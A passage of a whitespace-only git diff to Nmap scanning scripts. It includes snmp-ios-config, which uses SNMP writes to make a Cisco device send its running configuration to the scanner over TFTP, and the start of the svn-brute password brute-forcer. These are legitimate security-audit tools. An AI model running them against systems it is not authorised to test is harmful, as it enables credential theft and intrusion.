- if(result['status-processornamestring'..i] == false) then
- result['status-processornamestring'..i] = "Unknown"
- end
+ local hardware = {}
+ hardware['name'] = "Hardware"
+ -- remove trailing zero terminator
+ local num_procs = result['number_of_processors']:match("^[^%z]*")
+ for i = 0, tonumber(num_procs) - 1, 1 do
+ if(result['status-processornamestring'..i] == false) then
+ result['status-processornamestring'..i] = "Unknown"
+ end
- local processor = {}
- processor['name'] = string.format("CPU %d: %s [%dmhz %s]", i, string.gsub(result['processornamestring'..i], ' ', ''), result['~mhz'..i], result['vendoridentifier'..i])
- table.insert(processor, string.format("Identifier %d: %s", i, result['identifier'..i]))
- table.insert(hardware, processor)
- end
- table.insert(hardware, string.format("Video driver: %s", result['video_driverdesc']))
- table.insert(response, hardware)
+ local processor = {}
+ processor['name'] = string.format("CPU %d: %s [%dmhz %s]", i, string.gsub(result['processornamestring'..i], ' ', ''), result['~mhz'..i], result['vendoridentifier'..i])
+ table.insert(processor, string.format("Identifier %d: %s", i, result['identifier'..i]))
+ table.insert(hardware, processor)
+ end
+ table.insert(hardware, string.format("Video driver: %s", result['video_driverdesc']))
+ table.insert(response, hardware)
- local browsers = {}
- browsers['name'] = "Browsers"
- table.insert(browsers, string.format("Internet Explorer %s", result['ie_version']))
- if(result['status-ff_version']) then
- table.insert(browsers, string.format("Firefox %s", result['ff_version']))
- end
- table.insert(response, browsers)
+ local browsers = {}
+ browsers['name'] = "Browsers"
+ table.insert(browsers, string.format("Internet Explorer %s", result['ie_version']))
+ if(result['status-ff_version']) then
+ table.insert(browsers, string.format("Firefox %s", result['ff_version']))
+ end
+ table.insert(response, browsers)
- return stdnse.format_output(true, response)
- elseif(result['status-productname'] == true) then
+ return stdnse.format_output(true, response)
+ elseif(result['status-productname'] == true) then
- local osdetails = {}
- osdetails['name'] = 'OS Details'
- osdetails['warning'] = "Access was denied for certain values; try an administrative account for more complete information"
+ local osdetails = {}
+ osdetails['name'] = 'OS Details'
+ osdetails['warning'] = "Access was denied for certain values; try an administrative account for more complete information"
- table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
- table.insert(osdetails, string.format("Installed on %s", result['installdate']))
- table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
- table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
- table.insert(response, osdetails)
+ table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
+ table.insert(osdetails, string.format("Installed on %s", result['installdate']))
+ table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
+ table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
+ table.insert(response, osdetails)
- return stdnse.format_output(true, response)
- end
+ return stdnse.format_output(true, response)
+ end
- return stdnse.format_output(false, "Account being used was unable to probe for information, try using an administrative account")
+ return stdnse.format_output(false, "Account being used was unable to probe for information, try using an administrative account")
end
diff --git a/scripts/snmp-ios-config.nse b/scripts/snmp-ios-config.nse
index d9956c47d..67b0f4b02 100644
--- a/scripts/snmp-ios-config.nse
+++ b/scripts/snmp-ios-config.nse
@@ -49,163 +49,163 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
local try
local function sendrequest(socket, oid, setparam)
- local payload
- local options = {}
- options.reqId = 28428 -- unnecessary?
- payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, oid,setparam)))
+ local payload
+ local options = {}
+ options.reqId = 28428 -- unnecessary?
+ payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, oid,setparam)))
- try(socket:send(payload))
+ try(socket:send(payload))
- -- read in any response we might get
- local status, response = socket:receive()
- if ( not(status) ) then return status, response end
+ -- read in any response we might get
+ local status, response = socket:receive()
+ if ( not(status) ) then return status, response end
- local result = snmp.fetchFirst(response)
- return true
+ local result = snmp.fetchFirst(response)
+ return true
end
---
-- Sends SNMP packets to host and reads responses
action = function(host, port)
- local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
+ local tftproot = stdnse.get_script_args("snmp-ios-config.tftproot")
- if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
- return "ERROR: tftproot needs to end with slash"
- end
+ if ( tftproot and not( tftproot:match("[\\/]+$") ) ) then
+ return "ERROR: tftproot needs to end with slash"
+ end
-- create the socket used for our connection
- local socket = nmap.new_socket()
+ local socket = nmap.new_socket()
- -- set a reasonable timeout value
- socket:set_timeout(5000)
+ -- set a reasonable timeout value
+ socket:set_timeout(5000)
-- do some exception handling / cleanup
local catch = function() socket:close() end
try = nmap.new_try(catch)
- -- connect to the potential SNMP system
- try(socket:connect(host.ip, port.number, "udp"))
+ -- connect to the potential SNMP system
+ try(socket:connect(host.ip, port.number, "udp"))
- local status, tftpserver, _, _, _ = socket:get_info()
- if( not(status) ) then
- return "ERROR: Failed to determin local ip"
- end
+ local status, tftpserver, _, _, _ = socket:get_info()
+ if( not(status) ) then
+ return "ERROR: Failed to determin local ip"
+ end
- -- build a SNMP v1 packet
- -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )
- local request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
+ local request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)
- -- Fail silently if the first request doesn't get a proper response
- if ( not(request) ) then return end
+ -- Fail silently if the first request doesn't get a proper response
+ if ( not(request) ) then return end
- -- since we got something back, the port is definitely open
- nmap.set_port_state(host, port, "open")
+ -- since we got something back, the port is definitely open
+ nmap.set_port_state(host, port, "open")
- -------------------------------------------------
- -- build a SNMP v1 packet
- -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )
- request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
+ request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
- -------------------------------------------------
- -- build a SNMP v1 packet
- -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )
- request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
+ request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
- -------------------------------------------------
- -- build a SNMP v1 packet
- -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
- local tbl = {}
- tbl._snmp = '40'
- for octet in tftpserver:gmatch("%d+") do
- table.insert(tbl, octet)
- end
+ local tbl = {}
+ tbl._snmp = '40'
+ for octet in tftpserver:gmatch("%d+") do
+ table.insert(tbl, octet)
+ end
- request = sendrequest(socket, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
- -- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
+ request = sendrequest(socket, nil, { { snmp.str2oid(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999"), tbl } } )
+ -- request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)
- -------------------------------------------------
- -- build a SNMP v1 packet
- -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
- -- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 )
+ -- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns
- request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
+ request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)
- -------------------------------------------------
- -- build a SNMP v1 packet
- -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )
- request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
+ request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)
- -------------------------------------------------
- -- build a SNMP v1 packet
- -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)
- request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
+ request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")
- -------------------------------------------------
- -- build a SNMP v1 packet
- -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
- -- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
+ -- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy
- request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
+ request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
- -- wait for sometime and print the status of filetransfer
- tftp.start()
- local status, infile = tftp.waitFile(host.ip .. "-config", 10)
+ -- wait for sometime and print the status of filetransfer
+ tftp.start()
+ local status, infile = tftp.waitFile(host.ip .. "-config", 10)
- -- build a SNMP v1 packet
- -- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
+ -- build a SNMP v1 packet
+ -- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed
- local options = {}
- options.reqId = 28428
- local payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")))
+ local options = {}
+ options.reqId = 28428
+ local payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999")))
- try(socket:send(payload))
+ try(socket:send(payload))
- local status
- local response
- -- read in any response we might get
- status, response = socket:receive()
+ local status
+ local response
+ -- read in any response we might get
+ status, response = socket:receive()
- if (not status) or (response == "TIMEOUT") then
- return "\n ERROR: Failed to receive cisco configuration file"
- end
+ if (not status) or (response == "TIMEOUT") then
+ return "\n ERROR: Failed to receive cisco configuration file"
+ end
- local result
- result = snmp.fetchFirst(response)
+ local result
+ result = snmp.fetchFirst(response)
- if result == 3 then
- result = ( infile and infile:getContent() )
+ if result == 3 then
+ result = ( infile and infile:getContent() )
- if ( tftproot ) then
- local fname = tftproot .. stdnse.filename_escape(host.ip .. "-config")
- local file, err = io.open(fname, "w")
- if ( file ) then
- file:write(result)
- file:close()
- else
- return "\n ERROR: " .. file
- end
- result = ("\n Configuration saved to (%s)"):format(fname)
- end
- else
- result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
- end
+ if ( tftproot ) then
+ local fname = tftproot .. stdnse.filename_escape(host.ip .. "-config")
+ local file, err = io.open(fname, "w")
+ if ( file ) then
+ file:write(result)
+ file:close()
+ else
+ return "\n ERROR: " .. file
+ end
+ result = ("\n Configuration saved to (%s)"):format(fname)
+ end
+ else
+ result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
+ end
- -------------------------------------------------
- -- build a SNMP v1 packet
- -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
+ -------------------------------------------------
+ -- build a SNMP v1 packet
+ -- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
- request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
+ request = sendrequest(socket, ".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
- try(socket:close())
+ try(socket:close())
- return result
+ return result
end
diff --git a/scripts/socks-open-proxy.nse b/scripts/socks-open-proxy.nse
index 2fa5eec60..56218a204 100644
--- a/scripts/socks-open-proxy.nse
+++ b/scripts/socks-open-proxy.nse
@@ -35,7 +35,7 @@ argument.
--
--@usage
-- nmap --script=socks-open-proxy \
--- --script-args proxy.url=,proxy.pattern=
+-- --script-args proxy.url=,proxy.pattern=
author = "Joao Correa"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -159,7 +159,7 @@ local function default_test(host, port)
end
portrule = shortport.port_or_service({1080, 9050},
- {"socks", "socks4", "socks5", "tor-socks"})
+ {"socks", "socks4", "socks5", "tor-socks"})
action = function(host, port)
local supported_versions
diff --git a/scripts/ssh2-enum-algos.nse b/scripts/ssh2-enum-algos.nse
index 30102c261..d03053c2f 100644
--- a/scripts/ssh2-enum-algos.nse
+++ b/scripts/ssh2-enum-algos.nse
@@ -108,36 +108,36 @@ portrule = shortport.port_or_service(22, "ssh")
-- algorithm name-lists are identical between the server-to-client and
-- client-to-server types. Note that this simply modifies the passed tables.
local combine_types = function(parsed, lists)
- local doubles = {
- "encryption_algorithms",
- "mac_algorithms",
- "compression_algorithms"
- }
+ local doubles = {
+ "encryption_algorithms",
+ "mac_algorithms",
+ "compression_algorithms"
+ }
- for _, i in ipairs(doubles) do
- local c2s = i .. "_client_to_server"
- local s2c = i .. "_server_to_client"
+ for _, i in ipairs(doubles) do
+ local c2s = i .. "_client_to_server"
+ local s2c = i .. "_server_to_client"
- if parsed[c2s] == parsed[s2c] then
- parsed[i] = parsed[c2s]
- parsed[c2s] = nil
- parsed[s2c] = nil
- table.insert(lists, i)
- else
- table.insert(lists, c2s)
- table.insert(lists, s2c)
- end
- end
+ if parsed[c2s] == parsed[s2c] then
+ parsed[i] = parsed[c2s]
+ parsed[c2s] = nil
+ parsed[s2c] = nil
+ table.insert(lists, i)
+ else
+ table.insert(lists, c2s)
+ table.insert(lists, s2c)
+ end
+ end
end
-- Build and return the output table
local output = function(parsed, lists)
- local out = stdnse.output_table()
+ local out = stdnse.output_table()
- for _, l in ipairs(lists) do
- local v = parsed[l]
- local a = v:len() > 0 and stdnse.strsplit(",", v) or {}
- if nmap.verbosity() > 0 then
+ for _, l in ipairs(lists) do
+ local v = parsed[l]
+ local a = v:len() > 0 and stdnse.strsplit(",", v) or {}
+ if nmap.verbosity() > 0 then
setmetatable(a, {
__tostring = function(t)
return string.format("(%d)\n %s", #t, table.concat(t, "\n "))
@@ -149,70 +149,70 @@ local output = function(parsed, lists)
return string.format("(%d)", #t)
end
})
- end
+ end
out[l] = a
- end
+ end
- return out
+ return out
end
action = function(host, port)
- local sock = nmap.new_socket()
- local status = sock:connect(host, port)
+ local sock = nmap.new_socket()
+ local status = sock:connect(host, port)
- if not status then
- return
- end
+ if not status then
+ return
+ end
- status = sock:receive_lines(1)
- if not status then
- sock:close()
- return
- end
+ status = sock:receive_lines(1)
+ if not status then
+ sock:close()
+ return
+ end
- status = sock:send("SSH-2.0-Nmap-SSH2-Enum-Algos\r\n")
- if not status then
- sock:close()
- return
- end
+ status = sock:send("SSH-2.0-Nmap-SSH2-Enum-Algos\r\n")
+ if not status then
+ sock:close()
+ return
+ end
- local ssh = ssh2.transport
+ local ssh = ssh2.transport
- -- I would think that the server would send its kex data right after
- -- receiving and verifying our protocol id string above, then we could
- -- just use it here, but I've seen no definitive documentation saying
- -- that we don't ever send ours first. All I've seen is that if the
- -- server doesn't care about compatibility with older clients then it
- -- MAY send its kex data after the protocol id string. So I guess I'll
- -- send it here until I know for sure (removing this send works against
- -- OpenSSH though).
- local pkt = ssh.build(ssh.kex_init())
+ -- I would think that the server would send its kex data right after
+ -- receiving and verifying our protocol id string above, then we could
+ -- just use it here, but I've seen no definitive documentation saying
+ -- that we don't ever send ours first. All I've seen is that if the
+ -- server doesn't care about compatibility with older clients then it
+ -- MAY send its kex data after the protocol id string. So I guess I'll
+ -- send it here until I know for sure (removing this send works against
+ -- OpenSSH though).
+ local pkt = ssh.build(ssh.kex_init())
- status = sock:send(pkt)
- if not status then
- sock:close()
- return
- end
+ status = sock:send(pkt)
+ if not status then
+ sock:close()
+ return
+ end
- local status, response = ssh.receive_packet(sock)
+ local status, response = ssh.receive_packet(sock)
- sock:close()
+ sock:close()
- if not status then
- return
- end
+ if not status then
+ return
+ end
- local parsed = ssh.parse_kex_init(ssh.payload(response))
+ local parsed = ssh.parse_kex_init(ssh.payload(response))
- local lists = {
- "kex_algorithms",
- "server_host_key_algorithms"
- -- Other types will be added below in combine_types()
- }
+ local lists = {
+ "kex_algorithms",
+ "server_host_key_algorithms"
+ -- Other types will be added below in combine_types()
+ }
- -- Modifies tables
- combine_types(parsed, lists)
+ -- Modifies tables
+ combine_types(parsed, lists)
- return output(parsed, lists)
+ return output(parsed, lists)
end
diff --git a/scripts/sslv2.nse b/scripts/sslv2.nse
index 0b56ce3e8..7a575259b 100644
--- a/scripts/sslv2.nse
+++ b/scripts/sslv2.nse
@@ -46,193 +46,193 @@ portrule = shortport.ssl
local hex2dec = function(hex)
- local byte1, byte2;
+ local byte1, byte2;
- byte1 = string.byte(hex, 1);
- byte2 = string.byte(hex, 2);
+ byte1 = string.byte(hex, 1);
+ byte2 = string.byte(hex, 2);
- if (byte1 == nil or byte2 == nil) then return 0; end;
+ if (byte1 == nil or byte2 == nil) then return 0; end;
- return (byte1 * 256) + byte2;
+ return (byte1 * 256) + byte2;
end
local ciphers = function(cipher_list, len)
--- returns names of ciphers supported by the server
+ -- returns names of ciphers supported by the server
local seen = {}
- local available_ciphers = {}
- local idx = 0;
+ local available_ciphers = {}
+ local idx = 0;
- local ssl_ciphers = {
--- (cut down) table of codes with their corresponding ciphers.
--- inspired by Wireshark's 'epan/dissectors/packet-ssl-utils.h'
- [0x010080] = "SSL2_RC4_128_WITH_MD5",
- [0x020080] = "SSL2_RC4_128_EXPORT40_WITH_MD5",
- [0x030080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
- [0x040080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
- [0x050080] = "SSL2_IDEA_128_CBC_WITH_MD5",
- [0x060040] = "SSL2_DES_64_CBC_WITH_MD5",
- [0x0700c0] = "SSL2_DES_192_EDE3_CBC_WITH_MD5",
- [0x080080] = "SSL2_RC4_64_WITH_MD5",
- };
+ local ssl_ciphers = {
+ -- (cut down) table of codes with their corresponding ciphers.
+ -- inspired by Wireshark's 'epan/dissectors/packet-ssl-utils.h'
+ [0x010080] = "SSL2_RC4_128_WITH_MD5",
+ [0x020080] = "SSL2_RC4_128_EXPORT40_WITH_MD5",
+ [0x030080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
+ [0x040080] = "SSL2_RC2_CBC_128_CBC_WITH_MD5",
+ [0x050080] = "SSL2_IDEA_128_CBC_WITH_MD5",
+ [0x060040] = "SSL2_DES_64_CBC_WITH_MD5",
+ [0x0700c0] = "SSL2_DES_192_EDE3_CBC_WITH_MD5",
+ [0x080080] = "SSL2_RC4_64_WITH_MD5",
+ };
- if (len == 0) then return "none"; end
--- something's got broken along the way if these aren't equal
- if (len ~= #cipher_list) then
- return nil
- end
+ if (len == 0) then return "none"; end
+ -- something's got broken along the way if these aren't equal
+ if (len ~= #cipher_list) then
+ return nil
+ end
- for idx = 1, len, 3 do
- local _, cipher = bin.unpack(">I", "\x00" .. string.sub(cipher_list, idx, idx + 2))
- local cipher_name = ssl_ciphers[cipher];
+ for idx = 1, len, 3 do
+ local _, cipher = bin.unpack(">I", "\x00" .. string.sub(cipher_list, idx, idx + 2))
+ local cipher_name = ssl_ciphers[cipher];
- if (cipher_name == nil) then
- cipher_name = string.format("0x%06x", cipher)
- end
+ if (cipher_name == nil) then
+ cipher_name = string.format("0x%06x", cipher)
+ end
- -- Check for duplicate ciphers
- if not seen[cipher] then
- table.insert(available_ciphers, cipher_name)
+ -- Check for duplicate ciphers
+ if not seen[cipher] then
+ table.insert(available_ciphers, cipher_name)
seen[cipher] = true
- end
- end
+ end
+ end
- return available_ciphers
+ return available_ciphers
end
local give_n_bytes = function(idx, n, str)
--- returns the next n bytes of a string
+ -- returns the next n bytes of a string
- if (idx + (n - 1) > #str) then
- return (idx + n), string.rep(string.char(0x00), n);
- end
+ if (idx + (n - 1) > #str) then
+ return (idx + n), string.rep(string.char(0x00), n);
+ end
- return (idx + n), string.sub(str, idx, (idx + (n - 1)) );
+ return (idx + n), string.sub(str, idx, (idx + (n - 1)) );
end
action = function(host, port)
- local socket = nmap.new_socket();
- local status = true;
+ local socket = nmap.new_socket();
+ local status = true;
- local tmp;
+ local tmp;
- local idx = 3; -- start reading after the end of the length record
+ local idx = 3; -- start reading after the end of the length record
- local return_string = "";
- local available_ciphers;
+ local return_string = "";
+ local available_ciphers;
- local ssl_v2_hello;
- local server_hello;
+ local ssl_v2_hello;
+ local server_hello;
- local server_hello_len;
- local message_type;
- local SID_hit;
- local certificate_type;
- local ssl_version;
- local certificate_len;
- local ciphers_len;
- local certificate;
- local connection_ID_len;
- local cipher_list;
- local connection_ID;
+ local server_hello_len;
+ local message_type;
+ local SID_hit;
+ local certificate_type;
+ local ssl_version;
+ local certificate_len;
+ local ciphers_len;
+ local certificate;
+ local connection_ID_len;
+ local cipher_list;
+ local connection_ID;
--- build client hello packet (contents inspired by
--- http://mail.nessus.org/pipermail/plugins-writers/2004-October/msg00041.html )
- local t = {};
- table.insert(t, string.char(0x80, 0x31));
- table.insert(t, string.char(0x01));
- table.insert(t, string.char(0x00, 0x02));
- table.insert(t, string.char(0x00, 0x18));
- table.insert(t, string.char(0x00, 0x00));
- table.insert(t, string.char(0x00, 0x10));
- table.insert(t, string.char(0x07, 0x00, 0xc0));
- table.insert(t, string.char(0x05, 0x00, 0x80));
- table.insert(t, string.char(0x03, 0x00, 0x80));
- table.insert(t, string.char(0x01, 0x00, 0x80));
- table.insert(t, string.char(0x08, 0x00, 0x80));
- table.insert(t, string.char(0x06, 0x00, 0x40));
- table.insert(t, string.char(0x04, 0x00, 0x80));
- table.insert(t, string.char(0x02, 0x00, 0x80));
- table.insert(t, string.char(0xe4, 0xbd, 0x00, 0x00));
- table.insert(t, string.char(0xa4, 0x41, 0xb6, 0x74));
- table.insert(t, string.char(0x71, 0x2b, 0x27, 0x95));
- table.insert(t, string.char(0x44, 0xc0, 0x3d, 0xc0));
- ssl_v2_hello = table.concat(t, "")
+ -- build client hello packet (contents inspired by
+ -- http://mail.nessus.org/pipermail/plugins-writers/2004-October/msg00041.html )
+ local t = {};
+ table.insert(t, string.char(0x80, 0x31));
+ table.insert(t, string.char(0x01));
+ table.insert(t, string.char(0x00, 0x02));
+ table.insert(t, string.char(0x00, 0x18));
+ table.insert(t, string.char(0x00, 0x00));
+ table.insert(t, string.char(0x00, 0x10));
+ table.insert(t, string.char(0x07, 0x00, 0xc0));
+ table.insert(t, string.char(0x05, 0x00, 0x80));
+ table.insert(t, string.char(0x03, 0x00, 0x80));
+ table.insert(t, string.char(0x01, 0x00, 0x80));
+ table.insert(t, string.char(0x08, 0x00, 0x80));
+ table.insert(t, string.char(0x06, 0x00, 0x40));
+ table.insert(t, string.char(0x04, 0x00, 0x80));
+ table.insert(t, string.char(0x02, 0x00, 0x80));
+ table.insert(t, string.char(0xe4, 0xbd, 0x00, 0x00));
+ table.insert(t, string.char(0xa4, 0x41, 0xb6, 0x74));
+ table.insert(t, string.char(0x71, 0x2b, 0x27, 0x95));
+ table.insert(t, string.char(0x44, 0xc0, 0x3d, 0xc0));
+ ssl_v2_hello = table.concat(t, "")
- socket:connect(host, port, "tcp");
- socket:send(ssl_v2_hello);
+ socket:connect(host, port, "tcp");
+ socket:send(ssl_v2_hello);
- status, server_hello = socket:receive_bytes(2);
+ status, server_hello = socket:receive_bytes(2);
- if (not status) then
- socket:close();
- return;
- end
+ if (not status) then
+ socket:close();
+ return;
+ end
- server_hello_len = string.sub(server_hello, 1, 2);
- server_hello_len = hex2dec(server_hello_len);
--- length record doesn't include its own length, and is "broken".
- server_hello_len = server_hello_len - (128 * 256) + 2;
+ server_hello_len = string.sub(server_hello, 1, 2);
+ server_hello_len = hex2dec(server_hello_len);
+ -- length record doesn't include its own length, and is "broken".
+ server_hello_len = server_hello_len - (128 * 256) + 2;
--- the hello needs to be at least 13 bytes long to be of any use
- if (server_hello_len < 13) then
- socket:close();
- return;
- end
---try to get entire hello, if we don't already
- if (#server_hello < server_hello_len) then
- status, tmp = socket:receive_bytes(server_hello_len - #server_hello);
+ -- the hello needs to be at least 13 bytes long to be of any use
+ if (server_hello_len < 13) then
+ socket:close();
+ return;
+ end
+ --try to get entire hello, if we don't already
+ if (#server_hello < server_hello_len) then
+ status, tmp = socket:receive_bytes(server_hello_len - #server_hello);
- if (not status) then
- socket:close();
- return;
- end
+ if (not status) then
+ socket:close();
+ return;
+ end
- server_hello = server_hello .. tmp;
- end;
+ server_hello = server_hello .. tmp;
+ end;
- socket:close();
+ socket:close();
--- split up server hello into components
- idx, message_type = give_n_bytes(idx, 1, server_hello);
- idx, SID_hit = give_n_bytes(idx, 1, server_hello);
- idx, certificate_type = give_n_bytes(idx, 1, server_hello);
- idx, ssl_version = give_n_bytes(idx, 2, server_hello);
- idx, certificate_len = give_n_bytes(idx, 2, server_hello);
- certificate_len = hex2dec(certificate_len);
- idx, ciphers_len = give_n_bytes(idx, 2, server_hello);
- ciphers_len = hex2dec(ciphers_len);
- idx, connection_ID_len = give_n_bytes(idx, 2, server_hello);
- connection_ID_len = hex2dec(connection_ID_len);
- idx, certificate = give_n_bytes(idx, certificate_len, server_hello);
- idx, cipher_list = give_n_bytes(idx, ciphers_len, server_hello);
- idx, connection_ID = give_n_bytes(idx, connection_ID_len, server_hello);
+ -- split up server hello into components
+ idx, message_type = give_n_bytes(idx, 1, server_hello);
+ idx, SID_hit = give_n_bytes(idx, 1, server_hello);
+ idx, certificate_type = give_n_bytes(idx, 1, server_hello);
+ idx, ssl_version = give_n_bytes(idx, 2, server_hello);
+ idx, certificate_len = give_n_bytes(idx, 2, server_hello);
+ certificate_len = hex2dec(certificate_len);
+ idx, ciphers_len = give_n_bytes(idx, 2, server_hello);
+ ciphers_len = hex2dec(ciphers_len);
+ idx, connection_ID_len = give_n_bytes(idx, 2, server_hello);
+ connection_ID_len = hex2dec(connection_ID_len);
+ idx, certificate = give_n_bytes(idx, certificate_len, server_hello);
+ idx, cipher_list = give_n_bytes(idx, ciphers_len, server_hello);
+ idx, connection_ID = give_n_bytes(idx, connection_ID_len, server_hello);
--- some sanity checks:
--- is response a server hello?
- if (message_type ~= string.char(0x04)) then
- return;
- end
--- is certificate in X.509 format?
- if (certificate_type ~= string.char(0x01)) then
- return;
- end
+ -- some sanity checks:
+ -- is response a server hello?
+ if (message_type ~= string.char(0x04)) then
+ return;
+ end
+ -- is certificate in X.509 format?
+ if (certificate_type ~= string.char(0x01)) then
+ return;
+ end
--- get a list of ciphers offered
- available_ciphers = ciphers(cipher_list, ciphers_len);
+ -- get a list of ciphers offered
+ available_ciphers = ciphers(cipher_list, ciphers_len);
--- actually run some tests:
+ -- actually run some tests:
local o = stdnse.output_table()
- if (ssl_version == string.char(0x00, 0x02)) then
+ if (ssl_version == string.char(0x00, 0x02)) then
table.insert(o, "SSLv2 supported")
o["ciphers"] = available_ciphers
- end
+ end
- return o;
+ return o;
end
diff --git a/scripts/svn-brute.nse b/scripts/svn-brute.nse
index fe8f77f80..bef622054 100644
--- a/scripts/svn-brute.nse
+++ b/scripts/svn-brute.nse
@@ -46,227 +46,227 @@ portrule = shortport.port_or_service(3690, "svnserve", "tcp", "open")
svn =
{
- svn_client = "nmap-brute v0.1",
+ svn_client = "nmap-brute v0.1",
- new = function(self, host, port, repo)
- local o = {}
- setmetatable(o, self)
- self.__index = self
- o.host = host
- o.port = port
- o.repo = repo
- o.invalid_users = {}
- return o
- end,
+ new = function(self, host, port, repo)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.repo = repo
+ o.invalid_users = {}
+ return o
+ end,
- --- Connects to the SVN - repository
- --
- -- @return status true on success, false on failure
- -- @return err string containing an error message on failure
- connect = function(self)
- local repo_url = ( "svn://%s/%s" ):format(self.host.ip, self.repo)
- local status, msg
+ --- Connects to the SVN - repository
+ --
+ -- @return status true on success, false on failure
+ -- @return err string containing an error message on failure
